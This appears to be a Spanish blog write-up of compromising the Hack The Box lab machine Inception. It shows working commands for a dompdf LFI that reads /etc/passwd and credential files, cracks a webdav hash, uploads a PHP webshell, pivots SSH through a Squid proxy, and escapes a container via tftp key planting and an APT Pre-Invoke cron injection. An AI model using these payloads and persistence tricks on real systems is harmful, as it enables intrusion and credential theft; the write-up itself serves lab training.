Saltar al contenido

HackTheBox – Inception – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Inception de Hack The Box. Es una máquina Linux, de nivel medio, que trata la evasión de proxy, contenedores y cronjobs.

Enumeración

Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.

nmap -p- --open -n --min-rate 5000 10.10.10.67

En la máquina hay dos puertos abiertos. Escaneo los dos puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p80,3128 -sC -sV 10.10.10.67
Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-09 16:40 CET
Nmap scan report for 10.10.10.67
Host is up (0.12s latency).

PORT     STATE SERVICE    VERSION
80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Inception
3128/tcp open  http-proxy Squid http proxy 3.5.12
|_http-server-header: squid/3.5.12
|_http-title: ERROR: The requested URL could not be retrieved

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.00 seconds

HTTP

Accedo a la web desde el navegador.

A primera vista no puedo conseguir mucho de la web, así que decido ver el código fuente y me doy cuenta que, pese a que es un código pequeño, en el lado derecho, aparece una barra para bajar la pantalla.

Bajo hasta la aparte de abajo del código fuente y encuentro una frase comentada.

Hago un fuzzing de directorios ocultos con wfuzz y encuentro que hay uno llamado dompdf.

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirb/big.txt http://10.10.10.67/FUZZ

Accedo al directorio desde la ruta http://10.10.10.67/dompdf/.

Accedo al fichero VERSION y descubro que se trata de la versión 0.6.0.

Explotación

Busco vulnerabilidades en searchsploit para dompdf y descubro una vulnerabilidad de LFI para la misma versión que está corriendo.

Entro en la web de exploit-db, para ver la vulnerabilidad mas en profundidad, aquí y descubro que esta vulnerabilidad está registrada con el código CVE-2014-2383. Leyendo un poco veo que consigue acceder a los ficheros mediante un wrapper codificando la lectura en base64.

La vulnerabilidad nace a partir del fichero dompdf.php, que está en el directorio.

Como prueba inicial, voy a intentar leer el fichero /etc/passwd. Comienzo lanzando un curl sobre el fichero y en la salida, sobre la mitad, encuentro una cadena en base64.

curl http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd

Descodifico la cadena y obtengo el contenido del fichero /etc/passwd. Tambieén descubro, que hay un usuario llamado cobb.

echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtdGltZXN5bmM6eDoxMDA6MTAyOnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb24sLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzdGVtZC1uZXR3b3JrOng6MTAxOjEwMzpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQvbmV0aWY6L2Jpbi9mYWxzZQpzeXN0ZW1kLXJlc29sdmU6eDoxMDI6MTA0OnN5c3RlbWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kL3Jlc29sdmU6L2Jpbi9mYWxzZQpzeXN0ZW1kLWJ1cy1wcm94eTp4OjEwMzoxMDU6c3lzdGVtZCBCdXMgUHJveHksLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzbG9nOng6MTA0OjEwODo6L2hvbWUvc3lzbG9nOi9iaW4vZmFsc2UKX2FwdDp4OjEwNTo2NTUzNDo6L25vbmV4aXN0ZW50Oi9iaW4vZmFsc2UKc3NoZDp4OjEwNjo2NTUzNDo6L3Zhci9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgpjb2JiOng6MTAwMDoxMDAwOjovaG9tZS9jb2JiOi9iaW4vYmFzaAo=" | base64 -d

Como en el puerto 80 hay un servidor Apache, miro en sus ficheros habituales y encuentro el fichero 000-default.conf. Al revisar este fichero encuentro un directorio webdav y una flag llamada AuthUserFile que, seguramente, almacene credenciales.

curl http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf
echo 'PFZpcnR1YWxIb3N0ICo6ODA+CgkjIFRoZSBTZXJ2ZXJOYW1lIGRpcmVjdGl2ZSBzZXRzIHRoZSByZXF1ZXN0IHNjaGVtZSwgaG9zdG5hbWUgYW5kIHBvcnQgdGhhdAoJIyB0aGUgc2VydmVyIHVzZXMgdG8gaWRlbnRpZnkgaXRzZWxmLiBUaGlzIGlzIHVzZWQgd2hlbiBjcmVhdGluZwoJIyByZWRpcmVjdGlvbiBVUkxzLiBJbiB0aGUgY29udGV4dCBvZiB2aXJ0dWFsIGhvc3RzLCB0aGUgU2VydmVyTmFtZQoJIyBzcGVjaWZpZXMgd2hhdCBob3N0bmFtZSBtdXN0IGFwcGVhciBpbiB0aGUgcmVxdWVzdCdzIEhvc3Q6IGhlYWRlciB0bwoJIyBtYXRjaCB0aGlzIHZpcnR1YWwgaG9zdC4gRm9yIHRoZSBkZWZhdWx0IHZpcnR1YWwgaG9zdCAodGhpcyBmaWxlKSB0aGlzCgkjIHZhbHVlIGlzIG5vdCBkZWNpc2l2ZSBhcyBpdCBpcyB1c2VkIGFzIGEgbGFzdCByZXNvcnQgaG9zdCByZWdhcmRsZXNzLgoJIyBIb3dldmVyLCB5b3UgbXVzdCBzZXQgaXQgZm9yIGFueSBmdXJ0aGVyIHZpcnR1YWwgaG9zdCBleHBsaWNpdGx5LgoJI1NlcnZlck5hbWUgd3d3LmV4YW1wbGUuY29tCgoJU2VydmVyQWRtaW4gd2VibWFzdGVyQGxvY2FsaG9zdAoJRG9jdW1lbnRSb290IC92YXIvd3d3L2h0bWwKCgkjIEF2YWlsYWJsZSBsb2dsZXZlbHM6IHRyYWNlOCwgLi4uLCB0cmFjZTEsIGRlYnVnLCBpbmZvLCBub3RpY2UsIHdhcm4sCgkjIGVycm9yLCBjcml0LCBhbGVydCwgZW1lcmcuCgkjIEl0IGlzIGFsc28gcG9zc2libGUgdG8gY29uZmlndXJlIHRoZSBsb2dsZXZlbCBmb3IgcGFydGljdWxhcgoJIyBtb2R1bGVzLCBlLmcuCgkjTG9nTGV2ZWwgaW5mbyBzc2w6d2FybgoKCUVycm9yTG9nICR7QVBBQ0hFX0xPR19ESVJ9L2Vycm9yLmxvZwoJQ3VzdG9tTG9nICR7QVBBQ0hFX0xPR19ESVJ9L2FjY2Vzcy5sb2cgY29tYmluZWQKCgkjIEZvciBtb3N0IGNvbmZpZ3VyYXRpb24gZmlsZXMgZnJvbSBjb25mLWF2YWlsYWJsZS8sIHdoaWNoIGFyZQoJIyBlbmFibGVkIG9yIGRpc2FibGVkIGF0IGEgZ2xvYmFsIGxldmVsLCBpdCBpcyBwb3NzaWJsZSB0bwoJIyBpbmNsdWRlIGEgbGluZSBmb3Igb25seSBvbmUgcGFydGljdWxhciB2aXJ0dWFsIGhvc3QuIEZvciBleGFtcGxlIHRoZQoJIyBmb2xsb3dpbmcgbGluZSBlbmFibGVzIHRoZSBDR0kgY29uZmlndXJhdGlvbiBmb3IgdGhpcyBob3N0IG9ubHkKCSMgYWZ0ZXIgaXQgaGFzIGJlZW4gZ2xvYmFsbHkgZGlzYWJsZWQgd2l0aCAiYTJkaXNjb25mIi4KCSNJbmNsdWRlIGNvbmYtYXZhaWxhYmxlL3NlcnZlLWNnaS1iaW4uY29uZgoJQWxpYXMgL3dlYmRhdl90ZXN0X2luY2VwdGlvbiAvdmFyL3d3dy9odG1sL3dlYmRhdl90ZXN0X2luY2VwdGlvbgoJPExvY2F0aW9uIC93ZWJkYXZfdGVzdF9pbmNlcHRpb24+CgkJT3B0aW9ucyBGb2xsb3dTeW1MaW5rcwoJCURBViBPbgoJCUF1dGhUeXBlIEJhc2ljCgkJQXV0aE5hbWUgIndlYmRhdiB0ZXN0IGNyZWRlbnRpYWwiCgkJQXV0aFVzZXJGaWxlIC92YXIvd3d3L2h0bWwvd2ViZGF2X3Rlc3RfaW5jZXB0aW9uL3dlYmRhdi5wYXNzd2QKCQlSZXF1aXJlIHZhbGlkLXVzZXIKCTwvTG9jYXRpb24+CjwvVmlydHVhbEhvc3Q+CgojIHZpbTogc3ludGF4PWFwYWNoZSB0cz00IHN3PTQgc3RzPTQgc3Igbm9ldAo=' | base64 -d

Lanzo un curl al contenido del fichero /var/www/html/webdav_test_inception/webdav.passwd y encuentro un usuario del webdav y el hash de su contraseña.

curl http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/var/www/html/webdav_test_inception/webdav.passwd
echo 'd2ViZGF2X3Rlc3RlcjokYXByMSQ4ck83U21pNCR5cW43SC5HdkpGdHNUb3UxYTdWTUUwCg==' | base64 -d
webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0

Guardo el hash en un fichero y lo rompo con John the Ripper y encuentro las credenciales webdav_tester:babygurl69.

john -w=/usr/share/wordlists/rockyou.txt hashraw 

Accedo al webdav con cadaver.

cadaver http://10.10.10.67:80/webdav_test_inception/

Utilizo davtest para ver que extensiones de ficheros puedo subir y veo que puedo subir todas pero que solamente se ejecutan si son .txt o .php.

davtest -url http://10.10.10.67:80/webdav_test_inception/ -auth webdav_tester:babygurl69

Subo un backdoor en php para conseguir una webshell.

dav:/webdav_test_inception/> put simple-backdoor.php

Y visito la ruta de subida del fichero para comprobar que puedo usarlo correctamente.

Para poder interactuar con mayor facilidad con la webshell, capturo la petición GET con Burp suite y la mando al repeater. Enumero el contenido de mi directorio actual y veo el fichero en el que he encontrado las credenciales, mi backdoor y el fichero de prueba de davtest.

/webdav_test_inception/simple-backdoor.php?cmd=ls%20-l

Listo el contenido del directorio /var/www/html y veo que hay un directorio de wordpress.

/webdav_test_inception/simple-backdoor.php?cmd=ls%20-l%20/var/www/html

Entro en el directorio de wordpress, listo el contenido y encuentro el fichero config.php. Este fichero suele almacenar credenciales.

/webdav_test_inception/simple-backdoor.php?cmd=ls%20-l%20/var/www/html/wordpress_4.8.3

Abro el fichero y encuentro la contraseña VwPddNh7xMZyDQoByQL4.

/webdav_test_inception/simple-backdoor.php?cmd=cat%20/var/www/html/wordpress_4.8.3/wp-config.php

En la enumeración solo he visto que está abierto el puerto 80 y el 3128 pero, en este último, se está ejecutando un proxy squid que puede que esté bloqueando otros puertos activos. Desde la webshell enumero las conexiones activas y veo que el puerto 22 (ssh) está abierto.

/webdav_test_inception/simple-backdoor.php?cmd=netstat%20-ptna

Tengo que comunicarme con el puerto 22 a través del proxy y para ello voy a utilizar proxychains.

En primer lugar modifico el fichero /etc/proxychains.conf y desvío el tráfico http de la IP 10.10.10.67 por el puerto 3128.

Ahora utilizo las credenciales cobb:VwPddNh7xMZyDQoByQL4 para conectarme por ssh a través de proxychains y consigo autenticarme como el usuario cobb.

proxychains sshpass -p 'VwPddNh7xMZyDQoByQL4' ssh cobb@127.0.0.1

La flag de usuario la encuentro en la ruta /home/cobb/user.txt.

Escalada de Privilegios

Ejecuto un sudo -l para enumerar los privilegios de root (los comandos de root) que puedo ejecutar y encuentro que puedo ejecutar cualquier comando como sudo, así que me autentico como usuario root.

Me dirijo al directorio raíz de root y encuentro un fichero llamado root.txt pero al abrirlo veo que no es la flag.

Enumero el sistema y veo una cosa que había pasado por alto: la atención en la IP local, que es distinta de la IP de la máquina objetivo.

Parece que me encuentro en un contenedor lxc (almacena un sistema completo) así que me toca averiguar como salir de la cárcel… genero una línea de código para averiguar que hosts están activos lanzándoles una traza ICMP y descubro que está activo el host 1 y el 10 (el mío). Después genero otro código para enumerar los puertos abiertos y lo ejecuto en cada host.

root@Inception:/temp# time for i in $(seq 1 254); do (ping -c 1 192.168.0.${i} | grep "bytes from" &); done


root@Inception:/temp# time for i in $(seq 1 65535); do (nc -zvn 192.168.0.1 ${i} 2>&1 | grep -v "Connection refused" &); done

El host 10 me interesa poco porque ya estoy dentro como root pero en el host 1 veo que está el ftp abierto. Accedo al ftp como usuario anonymous con las credenciales anonymous: y enumero el directorio actual.

ftp 192.168.0.1

Me dirijo al directorio /etc y me descargo el crontab.

Abro el fichero y veo que, cada 5 minutos, el sistema hace un update como root.

Esto significa que puedo hacer una inyección en este trabajo y que, antes de ejecutar el update, lleve a cabo la instrucción que yo le indique. Mas información aquí.

En un primer momento intento conseguir una shell reversa pero no funciona así que voy a generar un par de claves de ssh, guardarlas en la víctima como usuario autorizado y darle permisos de ejecución con el cronjob.

Primero genero el par de claves (sin contraseña).

ssh-keygen

Accedo al FTP con tftp y coloco el fichero id_rsa.pub en la ruta /root/.ssh/authorized_keys.

tftp 192.168.0.1
tftp> put id_rsa.pub /root/.ssh/authorized_keys
tftp> quit

Ahora tengo que darles permisos de ejecución. Siguiendo la guía de Pre-Invoke, escribo la cadena echo 'APT::Update::Pre-Invoke {"chmod 600 /root/.ssh/authorized_keys"};' y la guardo dentro del fichero evil. Después, vuelvo a acceder al FTP con tftp y coloco el fichero evil en la ruta /etc/apt/atp.conf.d/evil.

Solamente me queda esperar hasta que se ejecute el update y ya puedo conectarme por ssh.

ssh root@192.168.0.1

La flag de root la encuentro en la ruta /root/root.txt.

Publicado enContenedoresCTFHTBLinuxOSCP